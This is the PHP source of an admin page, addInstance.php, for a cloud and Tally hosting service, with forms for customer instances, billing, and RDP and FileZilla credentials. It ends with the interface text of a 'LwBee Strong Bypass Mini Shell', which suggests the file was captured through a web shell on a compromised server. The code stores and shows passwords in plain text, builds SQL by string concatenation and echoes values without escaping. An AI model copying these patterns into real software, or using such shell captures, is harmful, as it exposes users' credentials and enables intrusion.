/home3/vehiclea/public_html/mamacloud/addInstance.php
<?php 
 session_start();
 // $_SESSION['active'] = 'addInstance';
   include 'header.php';
   include 'sidelinks.php';
    $selectInstanceLimit = selectInstanceLimit();

    if(!empty($_GET['editId'])){
    $addUserEdit = addUserData($_GET['editId']); 
    $addUserEditData = mysqli_fetch_array($addUserEdit); 
  } 

  $userName = mysqli_query($conn,"SELECT partnerId,firstName,lastName FROM addPartner where partnerId = '".$addUserEditData['partnerId']."'");
         $userNameData = mysqli_fetch_array($userName); 
         $name = $userNameData['firstName'].' '.$userNameData['lastName']; 
         $partId = $userNameData['partnerId'];

   if(!empty($_POST['submitAdmin'])){ addInstanceAdmin(); }
   if(!empty($_POST['submitPartner'])){ addInstancePartner(); }  
   // if(!empty($_POST{'update'})){ addInstanceUpdateUserEnd(); }    
    ?>  

    <style type="text/css"> 
  .clear{
    clear:both;
    /*margin-top: 20px;*/
  }

  #userNum{
    list-style: none;
    padding: 0px;
    width: 250px;
    position: absolute;
    margin: 0;
    z-index: 999;
  }

  #userNum li{
    background: lavender;
    padding: 4px;
    /*margin-bottom: 1px;*/
  }

  #userNum li:nth-child(even){
    background: cadetblue;
    color: white;
  }

  #userNum li:hover{
    cursor: pointer;
  }

  input[type=text]{
    padding: 5px;
    /*width: 250px;*/
    letter-spacing: 1px;
  } 

</style>
    <div class="content-wrapper"> 
         <div class="container-fluid"> 
            <div class="row">
               <div class="col-sm-12 p-0">
                  <div class="main-header">
                     <h4 style="color:#2567b3"> INSTANCE </h4>
                     <ol class="breadcrumb breadcrumb-title breadcrumb-arrow">
                        <li class="breadcrumb-item">
                           <a href="index.php">
                              <i class="icofont icofont-home"></i>
                           </a>
                        </li>
                        <li class="breadcrumb-item"><a href="#">Components</a></li></li>  
                        <li class="breadcrumb-item"><a href="addInstance.php"> Instance </a>
                        </li>
                     </ol>
                  </div>
               </div>
            </div>  
            <div class="row"> 
                  <div class="col-lg-12">  
                     <div class="card">
                        <div class="card-header">
                           <h5 class="card-header-text"> Instance </h5> 
                        </div>  
                        <?php 
                           if(!empty($_GET['failed'])){
                        ?>
                           <div align="center"><h4 style="color:red;"> Failed to Upload Data </h4></div>
                        <?php
                            header( "refresh:2;url=addInstance.php" );
                          }
                        ?>
                        <?php 
                           if(!empty($_GET['update'])){
                          ?>
                          <div align="center"><h4 style="color:green;">Updated Instance Data Successfully </h4></div>
                          <?php
                            header( "refresh:2;url=addInstance.php" );
                        }
                        ?>
                         <?php
                           if(!empty($_GET['succ'])){
                             ?>
                             <div align="center"><h4 style="color:green;">Instance Data Inserted Sucessfully </h4></div>
                             <?php
                            header( "refresh:2;url=addInstance.php" );
                          }
                        ?> 
                        <div class="card-block">  
                        <?php
                        if ($_SESSION['loginType'] == 'admin' || $_SESSION['loginType'] == 'super admin')
                        {
                            ?>
                        <form method="post" enctype="multipart/form-data">  
                          <div class="row">  
                               <div class="form-group col-lg-4"> 
                                    <label class="col-form-label form-control-label">INSTANCE ID.NO. <span style="color:red;">*</span></label> 
                                    <?php  
                                        $selInstanceData = mysqli_fetch_array($selectInstanceLimit); 
                                        $instanceId = $selInstanceData['instanceId'];
                                        if($selInstanceData > 0)
                                        {
                                          $value = (int) $instanceId + 1;  
                                        }
                                        else {
                                          $value = "7001"; 
                                        }
                                        ?> 
                                    <input class="form-control" type="text" readonly value="<?php echo $value; ?>"><input class="form-control" type="hidden" name="instanceId" value="<?php echo $value; ?>">
                                 </div>
                                  <!-- <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">USER ID <span style="color:red;">*</span></label>  
                                 <input class="form-control" type="text" name="userId" required id="userId" placeholder="SEARCH USER ID Ex : 1001">
                                 <ul id="userNum"></ul>
                                 <div class="clear"></div>  
                                 </div> -->

                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">USER ID <span style="color:red;">*</span></label>  
                                 <input class="form-control" type="text" name="userId" readonly required value="<?php echo $addUserEditData['userId'] ?>">
                                 </div>

                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">COMPANY NAME <span style="color:red;">*</span></label> 
                                       <input class="form-control" type="text" name="companyName"  required placeholder="ENTER COMPANY NAME"> 
                                 </div>
                                   <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">CREATED DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control datepicker" type="text" name="dateofcreation" id="dateofcreation" required placeholder="ENTER CREATED DATE"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">INSTANCE PERIOD MONTHS<span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" name="instancePeriod" id="instancePeriod" required placeholder="ENTER INSTANCES PERIOD MONTHS"> 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label"> EXPIRY DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" readonly name="instanceExpiryDate"  id ="instanceExpiryDate" required placeholder="ENTER INSTANCES EXPIRY DATE"> 
                                 </div>
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TOTAL USERS <span style="color:red;">*</span></label>
                                    <input class="form-control" type="text" name="totalUsers" id="totalUsers" value="1" required placeholder="ENTER TOTAL USERS"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">ACTIVE USERS</label> 
                                    <input class="form-control" type="text" name="activeUsers"  placeholder="ENTER ACTIVE USERS"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">RATE PER USER <span style="color:red;">*</span></label><input class="form-control" type="text"  name="ratePerUser" required placeholder="ENTER RATE PER USER"> 
                                 </div>
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">CLOUD ID <span style="color:red;">*</span></label><input class="form-control" type="text"  name="cloudId" required placeholder="ENTER CLOUD ID"> 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TOTAL DUE <span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" name="totalDue" required placeholder="ENTER TOTAL DUE"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">BILL GENERATED DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control datepicker" type="text" name="billGeneratedDate" required placeholder="ENTER BILL GENERATED DATE"> 
                                 </div>
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">AMOUNT PAID DETAILS</label> 
                                    <input class="form-control" type="text" name="amountPaidDetails"  placeholder="ENTER AMOUNT PAID DETAILS"> 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">UPI LINK</label> 
                                    <input class="form-control" type="text" name="UPILink"  placeholder="ENTER UPI LINK"> 
                                 </div> 
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TALLY LICENSE SL.NO.</label> 
                                    <input class="form-control" type="text" name="tallyLicenseSlNo" placeholder="ENTER TALLY LICENSE SL.NO."> 
                                 </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY VERSION</label>
                                 <input class="form-control" type="text" name="tallyVersion"  placeholder="ENTER TALLY VERSION">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY RELEASE</label>
                                 <input class="form-control" type="text" name="tallyRelease"  placeholder="ENTER TALLY RELEASE">
                              </div> 
                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY DOT NET ID</label>
                                 <input class="form-control" type="text" name="tallyDotNetId"  placeholder="ENTER TALLY DOT NET ID">
                              </div>  
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY DOT NET PASSWORD</label>
                                 <input class="form-control" type="text" name="tallyDotNetPassword"  placeholder="TALLY DOT NET PASSWORD">
                              </div>  
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TSS EXPIRY DATE</label>
                                 <input class="form-control" readonly type="text" name="tssExpiryDate"  placeholder="ENTER TSS EXPIRY DATE">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">CONTACT PERSON NAME <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="contactPersonName" readonly required 
                                 value="<?php echo $addUserEditData['firstName'].' '.$addUserEditData['lastName'] ?>" >
                              </div>
                                 <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">MOBILE NO <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" required nospace onkeypress="return isNumber(event)" maxlength="10" name="mobileNo" readonly value="<?php echo $addUserEditData['phoneNo'] ?>">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">E-MAIL ID <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="emailId" value="<?php echo $addUserEditData['mailId'] ?>" readonly required>
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">PASSWORD <span style="color:red;">*</span></label>
                                 <!-- <input class="form-control" type="text" id="password" required name="loginPass"  placeholder="ENTER PASSWORD"> -->
                                <input class="form-control" type="text" value="<?php echo $addUserEditData['password'] ?>" readonly name="loginPass">

                              </div> 
                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">SERVER IP <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="serverIp" required placeholder="ENTER SERVER IP">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label"> PORT <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="port" required placeholder="ENTER PORT">
                              </div> 
                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">RDP LOGIN ID <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="rdpLoginId" required placeholder="ENTER RDP LOGIN ID">
                              </div>
                                <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">RDP LOGIN PASSWORD <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="password" required placeholder="ENTER PASSWORD">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">FILEZILLA ID </label>
                                 <input class="form-control" type="text" name="filezillaId" placeholder="ENTER FILEZILLA ID">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">FILEZILLA PASSWORD </label>
                                 <input class="form-control" type="text" name="password1" placeholder="ENTER PASSWORD">
                              </div>

                              <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">PARTNER NAME </label> 
                                 <input class="form-control" type="text" readonly value="<?php echo $name ?>">
                                 <input type="hidden" name="partnerName" value="<?php echo $partId ?>"  >
                                 </div>  
                            </div>  
                            <div class="form-group">
                                <center><button class="btn btn-success" name="submitAdmin" value="submit">Submit</button></center>
                              </div>
                           </form> 
                       <?php } else { ?>
                         <form method="post" enctype="multipart/form-data">  
                          <div class="row">  
                               <div class="form-group col-lg-4"> 
                                    <label class="col-form-label form-control-label">INSTANCE ID.NO. </label> 
                                    <?php  
                                        $selInstanceData = mysqli_fetch_array($selectInstanceLimit); 
                                        $instanceId = $selInstanceData['instanceId'];
                                        if($selInstanceData > 0)
                                        {
                                          $value = (int) $instanceId + 1;  
                                        }
                                        else {
                                          $value = "7001"; 
                                        }
                                        ?> 
                                    <input class="form-control" type="text" readonly value="<?php echo $value; ?>"><input class="form-control" type="hidden" name="instanceId" value="<?php echo $value; ?>">
                                 </div>

                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">USER ID <span style="color:red;">*</span></label>  
                                 <input class="form-control" type="text" name="userId" readonly required value="<?php echo $addUserEditData['userId'] ?>">
                                 </div>
                                  <!-- <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">USER ID <span style="color:red;">*</span></label>  
                                 <input class="form-control" type="text" name="userId" required id="userId" placeholder="SEARCH USER ID Ex : 1001">
                                 <ul id="userNum"></ul>
                                 <div class="clear"></div>  
                                 </div> -->
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">COMPANY NAME <span style="color:red;">*</span></label> 
                                       <input class="form-control" type="text" name="companyName"  required placeholder="ENTER COMPANY NAME"> 
                                 </div>
                                   <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">CREATED DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control datepicker" type="text" name="dateofcreation" id="dateofcreation" required placeholder="ENTER CREATED DATE"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">INSTANCE PERIOD MONTHS<span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" name="instancePeriod" id="instancePeriod" required placeholder="ENTER INSTANCES PERIOD MONTHS"> 
                                 </div> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label"> EXPIRY DATE </label> 
                                    <input class="form-control" type="text" readonly name="instanceExpiryDate"  id ="instanceExpiryDate"  placeholder="ENTER INSTANCES EXPIRY DATE"> 
                                 </div>
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TOTAL USERS <span style="color:red;">*</span></label>
                                    <input class="form-control" type="text" name="totalUsers" id="totalUsers" value="1" required placeholder="ENTER TOTAL USERS"> 
                                 </div>
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">ACTIVE USERS</label> 
                                    <input class="form-control" type="text" name="activeUsers"  placeholder="ENTER ACTIVE USERS"> 
                                 </div>
                                 <!--  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">RATE PER USER <span style="color:red;">*</span></label><input class="form-control" type="text"  name="ratePerUser" required placeholder="ENTER RATE PER USER"> 
                                 </div> -->
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">CLOUD ID <span style="color:red;">*</span></label><input class="form-control" type="text"  name="cloudId" required placeholder="ENTER CLOUD ID"> 
                                 </div> 
                                  <!-- <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TOTAL DUE <span style="color:red;">*</span></label> 
                                    <input class="form-control" type="text" name="totalDue" required placeholder="ENTER TOTAL DUE"> 
                                 </div> -->
                                  <!-- <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">BILL GENERATED DATE <span style="color:red;">*</span></label> 
                                    <input class="form-control datepicker" type="text" name="billGeneratedDate" required placeholder="ENTER BILL GENERATED DATE"> 
                                 </div> -->
                                 <!-- <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">AMOUNT PAID DETAILS</label> 
                                    <input class="form-control" type="text" name="amountPaidDetails"  placeholder="ENTER AMOUNT PAID DETAILS"> 
                                 </div> --> 
                                  <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">UPI LINK</label> 
                                    <input class="form-control" type="text" name="UPILink"  placeholder="ENTER UPI LINK"> 
                                 </div> 
                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">TALLY LICENSE SL.NO.</label> 
                                    <input class="form-control" type="text" name="tallyLicenseSlNo" placeholder="ENTER TALLY LICENSE SL.NO."> 
                                 </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY VERSION</label>
                                 <input class="form-control" type="text" name="tallyVersion"  placeholder="ENTER TALLY VERSION">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY RELEASE</label>
                                 <input class="form-control" type="text" name="tallyRelease"  placeholder="ENTER TALLY RELEASE">
                              </div> 
                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY DOT NET ID</label>
                                 <input class="form-control" type="text" name="tallyDotNetId"  placeholder="ENTER TALLY DOT NET ID">
                              </div>  
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TALLY DOT NET PASSWORD</label>
                                 <input class="form-control" type="text" name="tallyDotNetPassword"  placeholder="TALLY DOT NET PASSWORD">
                              </div>  
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">TSS EXPIRY DATE </label>
                                 <input class="form-control datepicker" type="text" name="tssExpiryDate"  placeholder="ENTER TSS EXPIRY DATE">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">CONTACT PERSON NAME <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="contactPersonName" required readonly value="<?php echo $addUserEditData['firstName'].' '.$addUserEditData['lastName'] ?>">
                              </div>
                                 <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">MOBILE NO <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" required nospace onkeypress="return isNumber(event)" maxlength="10" name="mobileNo" id="phoneNo" readonly value="<?php echo $addUserEditData['phoneNo'] ?>">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">E-MAIL ID </label>
                                 <input class="form-control" type="text" name="emailId" readonly value="<?php echo $addUserEditData['mailId'] ?>">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">PASSWORD </label>
                                 <input class="form-control" type="text" id="password"  name="loginPass" readonly value="<?php echo $addUserEditData['password'] ?>">
                              </div>


                               <!-- <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">SERVER IP <span style="color:red;">*</span></label>
                                 <input class="form-control" type="text" name="serverIp" required placeholder="ENTER SERVER IP">
                              </div> -->
                               <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">RDP LOGIN ID </label>
                                 <input class="form-control" type="text" readonly name="rdpLoginId" placeholder="ENTER RDP LOGIN ID">
                              </div>
                                <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">RDP LOGIN PASSWORD </label>
                                 <input class="form-control" type="text" readonly name="password" placeholder="ENTER PASSWORD">
                              </div>
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">FILEZILLA ID </label>
                                 <input class="form-control" type="text" readonly name="filezillaId" placeholder="ENTER FILEZILLA ID">
                              </div> 
                              <div class="form-group col-lg-4">
                                 <label class="col-form-label form-control-label">FILEZILLA PASSWORD </label>
                                 <input class="form-control" type="text" readonly name="password1" placeholder="ENTER PASSWORD">
                              </div>

                              <!-- <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">PARTNER NAME</label>  
                                 <input class="form-control" type="text" id="partnerName" readonly  placeholder="ENTER PARTNER NAME">  
                                 <input type="hidden" name="partnerName" id="partnerId"  >
                                 </div>  --> 

                                 <div class="form-group col-lg-4">
                                    <label class="col-form-label form-control-label">PARTNER NAME </label> 
                                 <input class="form-control" type="text" readonly value="<?php echo $name ?>">
                                 <input type="hidden" name="partnerName" value="<?php echo $partId ?>"  >
                                 </div> 


                            </div>  
                            <div class="form-group">
                                <center><button class="btn btn-success" name="submitPartner" value="submit">Submit</button></center>
                              </div>
                           </form>  

                       <?php } ?>  
                        </div>
                     </div>
                  </div> 
               </div> 
               </div>
               </div> 
   <?php include 'footer.php' ?>   


   <script type="text/javascript">
     $(document).ready(function() {  
     var instId = $("#instanceId").val(); 
         $("#subUserList").empty();
           $.ajax({
          url: 'getUserRec.php',
          type: 'post',
          data: {instId:instId},
          dataType: 'json',
          success:function(data){
             var len = data.length;
             for(var x = 0; x<len; x++){  
                 var firstName = data[x]['firstName'];
                 var lastName = data[x]['lastName'];
                 var instanceId = data[x]['instanceId'];
                 var mailId = data[x]['mailId'];
                 var password = data[x]['password']; 
                 var phoneNo = data[x]['phoneNo'];
                 var countUser = data[x]['countUser']; 

                $(".countUser").text(countUser);
                $("#countUser").val(countUser);     


                 $("#subUserList").append('<div class="row"><div class="col-lg-12 col-md-12"><div class="col-lg-2 col-md-2"><input class="form-control" readonly name="firstName" type="text" value="'+firstName+'" ></div><div class="col-lg-2 col-md-2"><input class="form-control" readonly name="lastName" type="text" value="'+lastName+'"></div><div class="col-lg-4 col-md-4"><input class="form-control" readonly type="text" name="mailId" value="'+mailId+'"></div><div class="col-lg-2 col-md-2"><input class="form-control" readonly name="password" type="text" value="'+password+'"></div><div class="col-lg-2 col-md-2"><input class="form-control" readonly type="text" name="phoneNo" value="'+phoneNo+'" ></div></div></div><br>'); 
             }
          }     
      });

          
            $("#addRowbutton, #totalUsers").on("click change", function() {  
              var userTotal = $('#totalUsers').val();
              var adminId = $('#adminId').val();
              var partnerId = $('#partnerId').val();
              var userId = $('#userId').val();
              var instanceId = $('#instanceId').val();
              var countUser = $('.countUser').val(); 
              // var balUser = totalUsers - countUser - 1;

             var html = '<form method="post"><div class="row"><div class="col-lg-12 col-md-12"><div class="col-lg-2 col-md-2"><input name="instanceId" value="'+instanceId+'" type="hidden"><input name="adminId" value="'+adminId+'" type="hidden"><input name="partnerId" value="'+partnerId+'" type="hidden"><input class="form-control" name="userId" value="'+userId+'" type="hidden"><input class="form-control" name="firstName" required type="text" placeholder = "ENTER FIRSTNAME"></div><div class="col-lg-2 col-md-2"><input class="form-control" name="lastName" type="text" required placeholder = "ENTER LASTNAME"></div><div class="col-lg-4 col-md-4"><input class="form-control" required type="text" name="mailId" placeholder = "ENTER MAIL ID"></div><div class="col-lg-2 col-md-2"><input class="form-control" required name="password" type="text" placeholder = "ENTER PASSWORD"></div><div class="col-lg-2 col-md-2"><input class="form-control" required type="text" name="phoneNo" nospace onkeypress="return isNumber(event)" maxlength="10" placeholder = "ENTER PHONE NO"></div></div><div class="col-lg-12 col-md-12"><br><center><button class="btn btn-success" name="add" value="submit">Add</button></center></div></div></form>'; 
                $("#rowData").append(html);  
                $("#totalUser").val(userTotal); 
                // $("#balUser").val(balUser);   
                $('#addRowbutton').hide(); 
            });  
          }); 

</script>  
<script>
 $(document).ready(function(){  
  $("#dateofcreation, #instancePeriod").on('change keyup', function(){ 
    var startDate = $("#dateofcreation").val();
    var monthPeriod = $("#instancePeriod").val(); 
    var setDate = new Date(startDate); 
    var endDate  = setDate.setMonth(setDate.getMonth()+ +monthPeriod); 
    var endDateNew = new Date(endDate);  
    var dd = String(endDateNew.getDate()).padStart(2,'0'); 
    var mm =  endDateNew.toLocaleString('en-US', { month: 'short' }); 
    var yyyy = endDateNew.getFullYear(); 
    endDateNewF = dd + '-' + mm + '-' + yyyy;  
    $("#instanceExpiryDate").val(endDateNewF); 
  }); 
  $("#userId").keyup(function(){ 
    var userId = $(this).val(); 
    if(userId != "")
    {   
      $.ajax({
        url: 'checkUserName.php',
        type: 'post',
        data: {userId:userId, type:1},
        dataType: 'json',
        success:function(response){
          var len = response.length;
          $("#userNum").empty();
          for( var i = 0; i<len; i++){
            var id = response[i]['id'];
            var userNum = response[i]['userNum'];
            $("#userNum").append("<li value='"+id+"'>"+userNum+"</li>"); 
          }
          $("#userNum li").bind("click",function(){
            setText(this);
          });
        }
      });
    }
  });
}); 


 function setText(element){
  var value = $(element).text();
  var keyid = $(element).val();  

  $("#userId").val(value);
  $("#userNum").empty(); 
  $.ajax({
    url: 'checkUserName.php',
    type: 'post',
    data: {keyid:keyid, type:2},
    dataType: 'json',
    success: function(response){ 
      var len = response.length; 
      $("#id").empty(); 
      $("#name").empty();
      $("#partnerName").empty();
      $("#partnerId").empty();
      $("#mailId").empty();
      $("#password").empty(); 
      $("#phoneNo").empty();   

      if(len > 0){
        var id                   = response[0]['id'];
        var partnerId            = response[0]['partnerId'];
        var partnerName            = response[0]['partnerName'];
        var name               = response[0]['name']; 
        var mailId               = response[0]['mailId']; 
        var password             = response[0]['password']; 
        var phoneNo             = response[0]['phoneNo'];  
         
        $("#id").val(id);
        $("#partnerName").val(partnerName);
        $("#partnerId").val(partnerId);
        $("#name").val(name);
        $("#mailId").val(mailId);
        $("#password").val(password); 
        $("#phoneNo").val(phoneNo);  
      }
    }
  });
}
 
</script>

<script>
      $('.noSpace').keyup(function() {
 this.value = this.value.replace(/\s/g,'');
});
      function isNumber(evt,ref,len)
        {
        evt = (evt) ? evt : window.event;
        var charCode = (evt.which) ? evt.which : evt.keyCode;
        if(charCode == 8 || charCode == 9 ){
        return true;
        }
        var ctrlDown = evt.ctrlKey||evt.metaKey // Mac support

        if (charCode > 31 && (charCode < 48 || charCode > 57) && charCode != 46 || charCode == 8 || charCode == 37 || charCode == 39 || ( ctrlDown && charCode==86)) {
        return false;
        }
        else if(ref.val().length >= len){
        return false;
            }
        return true;
             }
   </script>
 
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File